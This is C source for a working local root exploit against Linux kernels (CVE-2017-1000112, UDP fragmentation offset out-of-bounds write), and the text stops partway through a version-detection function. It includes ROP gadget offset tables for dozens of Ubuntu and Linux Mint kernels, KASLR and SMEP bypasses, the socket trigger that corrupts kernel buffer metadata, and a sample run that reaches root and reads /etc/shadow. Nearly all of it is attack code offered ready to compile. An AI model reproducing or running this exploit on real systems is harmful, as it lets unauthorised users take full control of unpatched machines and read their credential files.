// Linux Kernel UDP Fragmentation Offset (UFO) out-of-bounds write local root (CVE-2017-1000112) // // Includes KASLR and SMEP bypasses. No SMAP bypass. // // Tested on: // - Ubuntu trusty kernels 4.4.0-21 <= 4.4.0-89 // - Ubuntu xenial kernels 4.4.0-21 <= 4.4.0-89 // - Ubuntu xenial kernels 4.8.0-34 <= 4.8.0-58 // - Linux Mint rosa 4.4.0 kernels // - Linux Mint sarah 4.8.0 kernels // - Zorin OS 12.1 4.4.0-39 kernel // // --- // $ gcc poc.c -o pwn -Wall // $ ./pwn // Linux Kernel UDP Fragmentation Offset (UFO) out-of-bounds write local root (CVE-2017-1000112) // [.] checking kernel version... // [.] kernel version '4.8.0-58-generic' detected // [~] done, version looks good // [.] checking system... // [~] done, looks good // [.] setting up namespace sandbox... // [~] done, namespace sandbox set up // [.] KASLR bypass enabled, getting kernel base address... // [.] trying /proc/kallsyms... // [.] trying syslog... // [~] done, kernel base: ffffffffa7e00000 // [.] commit_creds: ffffffffa7ea5d20 // [.] prepare_kernel_cred: ffffffffa7ea6110 // [.] SMEP bypass enabled, mmapping fake stack... // [~] done, fake stack mmapped // [.] executing payload ffffffffa7e17c55 // [~] done, should be root now // [.] checking if we got root // [+] got r00t ^_^ // # id // uid=0(root) gid=0(root) groups=0(root) // # cat /etc/shadow // root:!:17878:0:99999:7::: // daemon:*:16911:0:99999:7::: // bin:*:16911:0:99999:7::: // sys:*:16911:0:99999:7::: // ... // // Andrey Konovalov // --- // Updated by // - support for distros based on Ubuntu kernel // - additional kernel targets // - additional KASLR bypasses // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-1000112 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define DEBUG #ifdef DEBUG # define dprintf printf #else # define dprintf #endif #define ENABLE_SYSTEM_CHECKS 1 #define ENABLE_KASLR_BYPASS 1 #define ENABLE_SMEP_BYPASS 1 #if ENABLE_KASLR_BYPASS # define KERNEL_BASE_MIN 0xffffffff00000000ul # define KERNEL_BASE_MAX 0xffffffffff000000ul # define ENABLE_KASLR_BYPASS_KALLSYMS 1 # define ENABLE_KASLR_BYPASS_SYSLOG 1 # define ENABLE_KASLR_BYPASS_PERF 1 # define ENABLE_KASLR_BYPASS_XEN_ENTRY 1 # define ENABLE_KASLR_BYPASS_MINCORE 1 #endif // Can be overwritten by argv[1] char* SHELL = "/bin/sh"; // Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1) unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Will be overwritten by detect_versions(). int kernel = -1; // kernel target struct struct kernel_info { const char* distro; const char* version; uint64_t commit_creds; uint64_t prepare_kernel_cred; uint64_t xchg_eax_esp_ret; // xchg eax, esp ; ret uint64_t pop_rdi_ret; // pop rdi ; ret uint64_t mov_dword_ptr_rdi_eax_ret; // mov dword ptr [rdi], eax ; ret uint64_t mov_rax_cr4_ret; // push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret uint64_t neg_rax_ret; // neg rax ; ret uint64_t pop_rcx_ret; // pop rcx ; ret uint64_t or_rax_rcx_ret; // or rax, rcx ; ret uint64_t xchg_eax_edi_ret; // xchg eax, edi ; ret uint64_t mov_cr4_rdi_ret; // push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret uint64_t jmp_rcx; // jmp rcx }; // Targets struct kernel_info kernels[] = { { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, { "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, { "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b }, { "xenial", "4.4.0-21-generic", 0xa21c0, 0xa25b0, 0x8a, 0x2dbc0f, 0x1119c7, 0x1b930, 0x3f30ea, 0x1dddc, 0x7a1c3, 0x1242e7, 0x64560, 0x19c1f }, { "xenial", "4.4.0-22-generic", 0xa2220, 0xa2610, 0x8a, 0x2dbe0f, 0x111a37, 0x1b9a0, 0x3f397a, 0x1de4c, 0x7a213, 0x124407, 0x64560, 0x49e70 }, { "xenial", "4.4.0-24-generic", 0xa2340, 0xa2730, 0x8a, 0x3f8f9f, 0x111b87, 0x1b9a0, 0x3f484a, 0x1de4c, 0x7a333, 0x2b1f8, 0x64560, 0x49e70 }, { "xenial", "4.4.0-28-generic", 0xa24a0, 0xa2890, 0x8a, 0x1bb09d, 0x111d97, 0x1b9b0, 0x3f4eca, 0x1de5c, 0x7a333, 0x1247a7, 0x64560, 0x49e70 }, { "xenial", "4.4.0-31-generic", 0xa24a0, 0xa2890, 0x8a, 0x17f61d, 0x111d97, 0x1b9b0, 0x3fae6a, 0x7b2a, 0x7a333, 0x276a5, 0x64560, 0x49e70 }, { "xenial", "4.4.0-38-generic", 0xa2570, 0xa2960, 0x8a, 0x1273fd, 0x111ea7, 0x1b9b0, 0x3fb89a, 0x1de5c, 0x7a3f3, 0x124967, 0x64550, 0x49e20 }, { "xenial", "4.4.0-42-generic", 0xa25c0, 0xa29b0, 0x8a, 0xa167d, 0x111ed7, 0x1b9b0, 0x3fbcaa, 0x1de5c, 0x7a3b3, 0x113385, 0x64550, 0x49e20 }, { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 }, { "xenial", "4.4.0-83-generic", 0xa2800, 0xa2bf0, 0x8a, 0x29540d, 0x112697, 0x1b9c0, 0x4032aa, 0x1de6c, 0x7a4a3, 0x125787, 0x645b0, 0x49f10 }, { "xenial", "4.4.0-87-generic", 0xa2860, 0xa2c50, 0x8a, 0x29562d, 0x1126f7, 0x1b9c0, 0x40369a, 0x1de6c, 0x7a4a3, 0x3173c, 0x645b0, 0x49f10 }, { "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d }, /* Untested: { "xenial", "4.4.0-21-lowlatency", 0xa3150, 0xa3560, 0x8a, 0x3034, 0x114b37, 0x1baf0, 0x3fc1ca, 0x1e39c, 0x7ab63, 0x127987, 0x64c50, 0x4b3d0 }, { "xenial", "4.4.0-22-lowlatency", 0xa31c0, 0xa35d0, 0x8a, 0x3034, 0x114bc7, 0x1bb60, 0x3fca8a, 0x1e40c, 0x7abc3, 0x127ab7, 0x64c50, 0x4b3f0 }, { "xenial", "4.4.0-24-lowlatency", 0xa32e0, 0xa36f0, 0x8a, 0x3034, 0x114d07, 0x1bb60, 0x3fd89a, 0x1e40c, 0x7ace3, 0x127c57, 0x64c50, 0x4b3f0 }, { "xenial", "4.4.0-28-lowlatency", 0xa3450, 0xa3860, 0x8a, 0x3034, 0x114f37, 0x1bb70, 0x3fde8a, 0x1e41c, 0x7ace3, 0xd919d, 0x64c50, 0x4b3f0 }, { "xenial", "4.4.0-31-lowlatency", 0xa3450, 0xa3860, 0x8a, 0x3034, 0x114f37, 0x1bb70, 0x403f5a, 0x1e41c, 0x7ace3, 0xe5a95, 0x64c50, 0x4b3f0 }, { "xenial", "4.4.0-34-lowlatency", 0xa3450, 0xa3860, 0x8a, 0x3034, 0x114f37, 0x1bb70, 0x403fca, 0x1e41c, 0x7ace3, 0xe5a95, 0x64c50, 0x4b400 }, { "xenial", "4.4.0-36-lowlatency", 0xa3430, 0xa3840, 0x8a, 0x3034, 0x114f57, 0x1bb70, 0x40425a, 0x1e41c, 0x7acd3, 0x127ff7, 0x64c40, 0x4b400 }, { "xenial", "4.4.0-38-lowlatency", 0xa3500, 0xa3910, 0x8a, 0x3034, 0x115037, 0x1bb70, 0x404a1a, 0x1e41c, 0x7ada3, 0x1280d7, 0x64c40, 0x4b400 }, { "xenial", "4.4.0-42-lowlatency", 0xa3560, 0xa3970, 0x8a, 0x3034, 0x115077, 0x1bb70, 0x404e4a, 0x1e41c, 0x7ad73, 0x5a83d, 0x64c40, 0x4728e }, */ { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, { "xenial", "4.8.0-34-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c837, 0x1b3d0, 0x4426aa, 0x4bfe3, 0x7c8c3, 0x130367, 0x64910, 0x4b7d0 }, { "xenial", "4.8.0-36-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c837, 0x1b3d0, 0x4426aa, 0x4bfe3, 0x7c8c3, 0x130367, 0x64910, 0x4b7d0 }, { "xenial", "4.8.0-39-lowlatency", 0xa6ec0, 0xa72d0, 0x8d, 0x76172, 0x11c837, 0x1b310, 0x442f8a, 0x108ea3, 0x7c8c3, 0x130367, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-41-lowlatency", 0xa6ec0, 0xa72d0, 0x8d, 0x76172, 0x11c837, 0x1b310, 0x442f8a, 0x108ea3, 0x7c8c3, 0x130367, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-42-lowlatency", 0xa6ec0, 0xa72d0, 0x8d, 0x3cb567, 0x11c837, 0x1b310, 0x4432da, 0x108ea3, 0x7c8c3, 0x130357, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-44-lowlatency", 0xa6ec0, 0xa72d0, 0x8d, 0x46c32c, 0x11c837, 0x1b310, 0x442fba, 0x108ea3, 0x7c8c3, 0x130357, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-45-lowlatency", 0xa6ec0, 0xa72d0, 0x8d, 0x46c32c, 0x11c837, 0x1b310, 0x442fba, 0x108ea3, 0x7c8c3, 0x130357, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-46-lowlatency", 0xa6ec0, 0xa72d0, 0x8d, 0x46c32c, 0x11c837, 0x1b310, 0x442fba, 0x108ea3, 0x7c8c3, 0x130357, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-49-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c847, 0x1b310, 0x44312a, 0x41d233, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 }, //{ "xenial", "4.8.0-51-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c847, 0x1b310, 0x44312a, 0x41d233, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-52-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x12e349, 0x11c847, 0x1b310, 0x44365a, 0x41d763, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-53-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0xdf526, 0x11c847, 0x1b310, 0x44365a, 0x41d763, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-54-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0x1b061d, 0x11c847, 0x1b310, 0x44365a, 0x2e791c, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-56-lowlatency", 0xa6ed0, 0xa72e0, 0x8d, 0xda43e, 0x11c847, 0x1b310, 0x4436aa, 0x2e796c, 0x7c8d3, 0x130367, 0x64910, 0x4b7c0 }, { "xenial", "4.8.0-58-lowlatency", 0xa6ef0, 0xa7300, 0x8d, 0x1b063d, 0x11c867, 0x1b310, 0x44341a, 0xda438, 0x7c8f3, 0x130387, 0x64910, 0x4b800 }, }; // Used to get root privileges #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) // Used when ENABLE_SMEP_BYPASS is enabled (1) #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); void get_root(void) { ((_commit_creds)(COMMIT_CREDS))( ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); } // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * uint64_t saved_esp; // Unfortunately GCC does not support `__atribute__((naked))` on x86, which // can be used to omit a function's prologue, so I had to use this weird // wrapper hack as a workaround. Note: Clang does support it, which means it // has better support of GCC attributes than GCC itself. Funny. void wrapper() { asm volatile (" \n\ payload: \n\ movq %%rbp, %%rax \n\ movq $0xffffffff00000000, %%rdx \n\ andq %%rdx, %%rax \n\ movq %0, %%rdx \n\ addq %%rdx, %%rax \n\ movq %%rax, %%rsp \n\ call get_root \n\ ret \n\ " : : "m"(saved_esp) : ); } void payload(); #define CHAIN_SAVE_ESP \ *stack++ = POP_RDI_RET; \ *stack++ = (uint64_t)&saved_esp; \ *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; #define SMEP_MASK 0x100000 #define CHAIN_DISABLE_SMEP \ *stack++ = MOV_RAX_CR4_RET; \ *stack++ = NEG_RAX_RET; \ *stack++ = POP_RCX_RET; \ *stack++ = SMEP_MASK; \ *stack++ = OR_RAX_RCX_RET; \ *stack++ = NEG_RAX_RET; \ *stack++ = XCHG_EAX_EDI_RET; \ *stack++ = MOV_CR4_RDI_RET; #define CHAIN_JMP_PAYLOAD \ *stack++ = POP_RCX_RET; \ *stack++ = (uint64_t)&payload; \ *stack++ = JMP_RCX; void mmap_stack() { uint64_t stack_aligned, stack_addr; int page_size, stack_size, stack_offset; uint64_t* stack; page_size = getpagesize(); stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); stack_addr = stack_aligned - page_size * 4; stack_size = page_size * 8; stack_offset = XCHG_EAX_ESP_RET % page_size; stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (stack == MAP_FAILED || stack != (void*)stack_addr) { dprintf("[-] mmap(): %m\n"); exit(EXIT_FAILURE); } stack = (uint64_t*)((char*)stack_aligned + stack_offset); CHAIN_SAVE_ESP; CHAIN_DISABLE_SMEP; CHAIN_JMP_PAYLOAD; } // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * // defined in: include/linux/skbuff.h struct ubuf_info { uint64_t callback; // void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc; // unsigned long }; // defined in: include/linux/skbuff.h struct skb_shared_info { uint8_t nr_frags; // unsigned char uint8_t tx_flags; // __u8 uint16_t gso_size; // unsigned short uint16_t gso_segs; // unsigned short uint16_t gso_type; // unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg; // void * uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; }; // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * struct ubuf_info ui; void init_skb_buffer(char* buffer, unsigned long func) { struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; memset(ssi, 0, sizeof(*ssi)); ssi->tx_flags = 0xff; ssi->destructor_arg = (uint64_t)&ui; ssi->nr_frags = 0; ssi->frag_list = 0; ui.callback = func; } #define SHINFO_OFFSET 3164 void oob_execute(unsigned long payload) { char buffer[4096]; memset(&buffer[0], 0x42, 4096); init_skb_buffer(&buffer[SHINFO_OFFSET], payload); int s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) { dprintf("[-] socket(): %m\n"); exit(EXIT_FAILURE); } struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(8000); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); if (connect(s, (void*)&addr, sizeof(addr))) { dprintf("[-] connect(): %m\n"); exit(EXIT_FAILURE); } int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); int rv = send(s, buffer, size, MSG_MORE); if (rv != size) { dprintf("[-] send(): %m\n"); exit(EXIT_FAILURE); } int val = 1; rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); if (rv != 0) { dprintf("[-] setsockopt(SO_NO_CHECK): %m\n"); exit(EXIT_FAILURE); } send(s, buffer, 1, 0); close(s); } // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * #define CHUNK_SIZE 1024 int read_file(const char* file, char* buffer, int max_length) { int f = open(file, O_RDONLY); if (f == -1) return -1; int bytes_read = 0; while (1) { int bytes_to_read = CHUNK_SIZE; if (bytes_to_read > max_length - bytes_read) bytes_to_read = max_length - bytes_read; int rv = read(f, &buffer[bytes_read], bytes_to_read); if (rv == -1) return -1; bytes_read += rv; if (rv == 0) return bytes_read; } } void check_env() { struct stat st; if (stat("/dev/grsec", &st) == 0) { dprintf("[!] Warning: grsec is in use\n"); } if (stat("/proc/sys/lkrg", &st) == 0) { dprintf("[!] Warning: lkrg is in use\n"); } } #define LSB_RELEASE_LENGTH 1024 void get_distro_codename(char* output, int max_length) { char buffer[LSB_RELEASE_LENGTH]; char* path = "/etc/lsb-release"; int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH); if (length == -1) { dprintf("[-] open/read(%s): %m\n", path); exit(EXIT_FAILURE); } const char *needle = "DISTRIB_CODENAME="; int needle_length = strlen(needle); char* found = memmem(&buffer[0], length, needle, needle_length); if (found == NULL) { dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); exit(EXIT_FAILURE); } int i; for (i = 0; found[needle_length + i] != '\n'; i++) { if (i >= max_length) { exit(EXIT_FAILURE); } if ((found - &buffer[0]) + needle_length + i >= length) { exit(EXIT_FAILURE); } output[i] = found[needle_length + i]; } } struct utsname get_kernel_version() { struct utsname u; int rv = uname(&u); if (rv != 0) { dprintf("[-] uname()\n"); exit(EXIT_FAILURE); } return u; } #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #define DISTRO_CODENAME_LENGTH 64 void detect_versions() { char codename[DISTRO_CODENAME_LENGTH]; struct utsname u; u = get_kernel_version(); if (strstr(u.machine, "64") == NULL) { dprintf("[-] system is not using a 64-bit kernel\n"); exit(EXIT_FAILURE); } if (strstr(u.version, "-Ubuntu") == NULL) { dprintf("[-] system is not using an Ubuntu kernel\n"); exit(EXIT_FAILURE); } if (strstr(u.version, "14.04.1")) { strcpy(&codename[0], "trusty"); } else if (strstr(u.version, "16.04.1")) { strcpy(&codename[0], "xenial"); } else { get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); // Linux Mint kernel release mappings if (!strcmp(&codename[0], "qiana")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "rebecca")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "rafaela")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "rosa")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "sarah")) strcpy(&codename[0], "xenial"); if (!strcmp(&codename[0], "serena")) strcpy(&codename[0], "xenial"); if (!strcmp(&codename[0], "sonya")) strcpy(&codename[0], "xenial"); } int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(&codename[0], kernels[i].distro) == 0 && strcmp(u.release, kernels[i].version) == 0) { 